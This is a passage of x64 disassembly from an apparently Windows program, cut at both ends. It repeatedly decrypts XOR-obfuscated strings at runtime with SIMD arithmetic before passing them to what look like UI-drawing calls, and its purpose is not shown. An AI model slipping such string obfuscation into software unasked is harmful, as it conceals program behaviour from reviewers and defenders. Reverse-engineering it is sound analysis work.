movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400ab130
cmp r8d, 0x1a
jge 0x1400ab280
movsxd rax, r8d
lea r9, [rbp + 0x11d0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400ab250
movsd xmm0, qword [str.uTN]
movsd qword [rbp + 0x400], xmm0
movzx eax, word [0x140145eb0]
mov word [rbp + 0x408], ax
cmp byte [0x140145eb1], 0
je 0x1400ab2f1
mov byte [rbp + 0x400], Ordinal_79
xor byte [rbp + 0x401], 0x39
xor byte [rbp + 0x402], 0x3a
xor byte [rbp + 0x403], 0x3b
xor byte [rbp + 0x404], 0x3c
xor byte [rbp + 0x405], 0x3d
xor byte [rbp + 0x406], 0x3e
xor byte [rbp + 0x407], 0x3f
xor byte [rbp + 0x408], 0x40
xor byte [rbp + 0x409], 0x41
lea r9, [rbp + 0x11d0]
mov r8b, 1
lea rdx, [0x1401a594c]
lea rcx, [rbp + 0x400]
call fcn.14003bf70
mov rbx, qword [0x1401a97b0]
lea rcx, [rbp + 0x168]
call fcn.140016cd0
movss xmm0, dword [rax]
subss xmm0, dword [rbx + 0x3930]
movss dword [rbp + 0x178], xmm0
mov dword [rbp + 0x17c], 0x41c80000
movsd xmm0, qword [str.mWVT_Y]
movsd qword [rbp + 0x6a0], xmm0
mov eax, dword [0x140144320]
mov dword [rbp + 0x6a8], eax
cmp byte [0x140144323], 0
je 0x1400ab4c0
mov r8d, r13d
cmp r12d, 2
jl 0x1400ab47d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.mWVT_Y]
xorps xmm2, xmm0
movd dword [rbp + 0x6a0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6a4]
xorps xmm2, xmm1
movd dword [rbp + 0x6a4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x6a0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400ab490
xor r8d, r8d
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x6a0]
call fcn.140037850
test al, al
je 0x1400ab4e5
mov byte [0x1401ab1df], 0
call fcn.14000cdc0
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.140016940
movzx eax, byte [0x140145348]
movups xmm0, xmmword [0x140145338]
mov byte [rbp + 0xb40], al
movups xmmword [rbp + 0xb30], xmm0
movss xmm7, dword [0x1401493d8]
mov r8d, r13d
cmp r12d, 2
jl 0x1400ab669
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xb34]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400ab560
cmp r8d, 0x11
jge 0x1400ab6b0
movsxd rax, r8d
lea r9, [rbp + 0xb30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400ab680
mov rax, qword [str.vtuzm_hubyom]
mov qword [rbp + 0x180], rax
cmp byte [0x140146d07], 0
je 0x1400ab820
cmp r12d, 2
jl 0x1400ab7dc
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x180]
xorps xmm2, xmm1
movd dword [rbp + 0x180], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x184]
xorps xmm2, xmm1
movd dword [rbp + 0x184], xmm2
jmp 0x1400ab820
lea r9, [rbp + 0x180]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400ab7f0
mov r9b, 1
movaps xmm0, xmm7
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, [rbp + 0xb30]
lea rcx, [rbp + 0x180]
call fcn.14007f140
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1970], xmm0
mov qword [rbp + 0x1980], rax
lea rcx, [rbp + 0x1970]
call fcn.14007d280
nop
mov dword [rbp + 0x188], 0
mov dword [rbp + 0x18c], 0x43960000
movsd xmm0, qword [0x140146398]
movsd qword [rbp + 0x800], xmm0
mov eax, dword [0x1401463a0]
mov dword [rbp + 0x808], eax
movzx eax, byte [0x1401463a4]
mov byte [rbp + 0x80c], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400ab9b4
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140146398]
xorps xmm2, xmm0
movd dword [rbp + 0x800], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x804]
xorps xmm2, xmm1
movd dword [rbp + 0x804], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x800]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400ab9d0
mov rcx, qword [0x1401a97b0]
mov rax, qword [rcx + 0x40a0]
mov byte [rax + 0xcc], 1
xor r8d, r8d
lea rdx, [rbp + 0x800]
mov rcx, qword [rcx + 0x40a0]
call fcn.1400132a0
mov dword [rsp + 0x20], r13d
mov r9d, 1
lea r8, [rbp + 0x188]
mov edx, eax
lea rcx, [rbp + 0x800]
call fcn.14000ca60
mov r14d, r13d
mov rax, qword [rbp + 0x1978]
mov rdx, qword [rbp + 0x1970]
sub rax, rdx
sar rax, 5
test rax, rax
je 0x1400abacf
mov rcx, r13
nop
mov qword [rbp + 0x10], 0
cmp dword [0x1401abcd0], r14d
sete bl
shl rcx, 5
add rcx, rdx
call fcn.140046b40
lea r9, [rbp + 0x10]
xor r8d, r8d
movzx edx, bl
mov rcx, rax
call fcn.140045940
test al, al
je 0x1400abaaf
mov dword [0x1401abcd0], r14d
inc r14d
mov rax, qword [rbp + 0x1978]
mov rdx, qword [rbp + 0x1970]
sub rax, rdx
sar rax, 5
movsxd rcx, r14d
cmp rcx, rax
jb 0x1400aba70
call fcn.14000cdc0
movaps xmm0, xmm8
call fcn.140016a50
movups xmm0, xmmword [str.qWJNH]
movups xmmword [rbp + 0xd10], xmm0
movzx eax, word [0x1401455b8]
mov word [rbp + 0xd20], ax
cmp byte [0x1401455b9], 0
je 0x1400abca0
mov r8d, r13d
cmp r12d, 2
jl 0x1400abc59
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xd14]
mov edx, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400abb50
cmp r8d, 0x12
jge 0x1400abca0
movsxd rax, r8d
lea r9, [rbp + 0xd10]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400abc70
mov eax, dword [0x140146d48]
mov dword [rbp + 0x768], eax
movzx eax, byte [0x140146d4c]
movsd xmm0, qword [0x140146d40]
mov byte [rbp + 0x76c], al
movsd qword [rbp + 0x760], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400abdde
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140146d40]
xorps xmm2, xmm0
movd dword [rbp + 0x760], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x764]
xorps xmm2, xmm1
movd dword [rbp + 0x764], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x760]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400abdf0
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
mov r9d, reloc.WLDAP32.dll_Ordinal_32
lea r8, [0x1401abe10]
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x760]
call fcn.14003ccf0
call fcn.140016b00
mov rbx, qword [0x1401a97b0]
lea rcx, [rbp + 0x18]
call fcn.140016cd0
movss xmm0, dword [rax]
subss xmm0, dword [rbx + 0x3930]
movss dword [rbp + 0x20], xmm0
mov dword [rbp + 0x24], 0x41c80000
movsd xmm0, qword [str.vMe]
movsd qword [rbp + 0x510], xmm0
movzx ecx, word [0x1401459e0]
mov word [rbp + 0x518], cx
movzx eax, byte [0x1401459e2]
mov byte [rbp + 0x510], Ordinal_79
xor byte [rbp + 0x511], 0x39
xor byte [rbp + 0x512], 0x3a
xor byte [rbp + 0x513], 0x3b
xor byte [rbp + 0x514], 0x3c
xor byte [rbp + 0x515], 0x3d
xor byte [rbp + 0x516], 0x3e
xor byte [rbp + 0x517], 0x3f
xor cl, 0x40
mov byte [rbp + 0x518], cl
xor byte [rbp + 0x519], 0x41
xor al, 0x42
mov byte [rbp + 0x51a], al
xor r8d, r8d
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x510]
call fcn.140037850
test al, al
je 0x1400abf50
lea rdx, [0x1401abe10]
lea rcx, [rbp + 0x1570]
call fcn.140046b60
mov rcx, rax
call fcn.14005bc80
lea rdx, [0x1401abe10]
lea rcx, [rbp + 0x1590]
call fcn.140046b60
xor edx, edx
mov rcx, rax
call fcn.1400af990
lea rcx, [rbp + 0x1590]
call fcn.140046ba0
mov rbx, qword [0x1401a97b0]
lea rcx, [rbp + 0x28]
call fcn.140016cd0
movss xmm0, dword [rax]
subss xmm0, dword [rbx + 0x3930]
movss dword [rbp + 0x30], xmm0
mov dword [rbp + 0x34], 0x41c80000
movups xmm1, xmmword [str.kXL]
movups xmmword [rbp + 0x12f0], xmm1
movsd xmm0, qword [0x140145a98]
movsd qword [rbp + 0x1300], xmm0
mov eax, dword [0x140145aa0]
mov dword [rbp + 0x1308], eax
movzx eax, byte [0x140145aa4]
mov byte [rbp + 0x130c], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400ac0fa
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x12f4]
mov edx, dword [rbp + 0x17a0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400abff1
cmp r8d, 0x1d
jge 0x1400ac140
movsxd rax, r8d
lea r9, [rbp + 0x12f0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x1400ac110
xor r8d, r8d
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x12f0]
call fcn.140037850
test al, al
je 0x1400ac191
mov rax, qword [rbp + 0x1970]
cmp rax, qword [rbp + 0x1978]
je 0x1400ac191
movsxd rdx, dword [0x1401abcd0]
shl rdx, 5
add rdx, rax
lea rcx, [rbp + 0x1470]
call fcn.1400aee70
mov rcx, rax
call fcn.14005bc80
mov rbx, qword [0x1401a97b0]
lea rcx, [rbp + 0x38]
call fcn.140016cd0
movss xmm0, dword [rax]
subss xmm0, dword [rbx + 0x3930]
movss dword [rbp + 0x40], xmm0
mov dword [rbp + 0x44], 0x41c80000
movsd xmm0, qword [str.tV__]
movsd qword [rbp + 0x6b0], xmm0
mov eax, dword [0x140146080]
mov dword [rbp + 0x6b8], eax
cmp byte [0x140146083], 0
je 0x1400ac340
mov r8d, r13d
cmp r12d, 2
jl 0x1400ac2f7
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.tV__]
xorps xmm2, xmm0
movd dword [rbp + 0x6b0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6b4]
xorps xmm2, xmm1
movd dword [rbp + 0x6b4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x6b0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400ac310
xor r8d, r8d
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x6b0]
call fcn.140037850
test al, al
je 0x1400ac391
mov rax, qword [rbp + 0x1970]
cmp rax, qword [rbp + 0x1978]
je 0x1400ac391
movsxd rdx, dword [0x1401abcd0]
shl rdx, 5
add rdx, rax
lea rcx, [rbp + 0x15b0]
call fcn.1400aee70
mov rcx, rax
call fcn.14006ccc0
mov rbx, qword [0x1401a97b0]
lea rcx, [rbp + 0x48]
call fcn.140016cd0
movss xmm0, dword [rax]
subss xmm0, dword [rbx + 0x3930]
movss dword [rbp + 0x50], xmm0
mov dword [rbp + 0x54], 0x41c80000
movsd xmm0, qword [0x1401457c8]
movsd qword [rbp + 0x850], xmm0
mov eax, dword [0x1401457d0]
mov dword [rbp + 0x858], eax
movzx eax, word [0x1401457d4]
mov word [rbp + 0x85c], ax
cmp byte [0x1401457d5], 0
je 0x1400ac550
mov r8d, r13d
cmp r12d, 2
jl 0x1400ac505
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401457c8]
xorps xmm2, xmm0
movd dword [rbp + 0x850], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x854]
xorps xmm2, xmm1
movd dword [rbp + 0x854], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x850]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400ac520
xor r8d, r8d
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x850]
call fcn.140037850
test al, al
je 0x1400ac868
mov rcx, qword [rbp + 0x1970]
cmp rcx, qword [rbp + 0x1978]
je 0x1400ac868
mov eax, dword [0x140144b44]
mov dword [rbp - 0x50], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
